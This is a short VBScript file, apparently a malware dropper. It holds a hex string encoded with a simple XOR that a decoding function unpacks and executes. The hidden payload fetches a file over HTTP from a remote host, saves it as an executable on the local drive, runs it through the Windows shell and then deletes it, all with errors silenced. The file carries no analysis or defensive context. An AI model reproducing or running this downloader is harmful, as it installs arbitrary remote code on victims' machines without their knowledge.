Function DC(x)
For i=1 to Len(x) Step 2
DC=DC & Chr(CLng("&H" & Mid(x,i,2)) Xor 22)
Next
End Function
Q="597836536464796436447365637B733658736E622C457362367926552679362B36416575647F66623855647377627359747C7375623E344575647F66627F787138507F7A73456F6562737B59747C737562343F2C4573623679266E2679362B3655647377627359747C7375623E345B656E7B7A24384E5B5A5E424246343F2C4573623679267B2679362B3655647377627359747C7375623E34416575647F666238457E737A7A343F2C79266E267938596673783634515342343A347E6262662C39397F3878777B7F6677783875797B39707F7A7365392220272F26742025722E24742E72212F7226772427212F2477267420262E7372752F77737222752726262F26272F262623217324392639252026387C6671343A262C79266E267938457378723E3F2C4573623679262679362B3655647377627359747C7375623E3457525952543845626473777B343F2C79262679385B797273362B36252C7926267938426F6673362B36272C7926267938596673783E3F2C792626793841647F62733E79266E26793864736566797865735479726F3F2C7926267938457760734279507F7A733634552C4A66777173707F7A7338736E73343A242C616575647F666238657A7373663627262626262C79267B267938446378363E34552C4A66777173707F7A7338736E73343F3A262C616575647F666238657A7373663627262626262C79267526793852737A736273507F7A733E34552C4A66777173707F7A7338736E73343F3A26"
Execute DC(Q)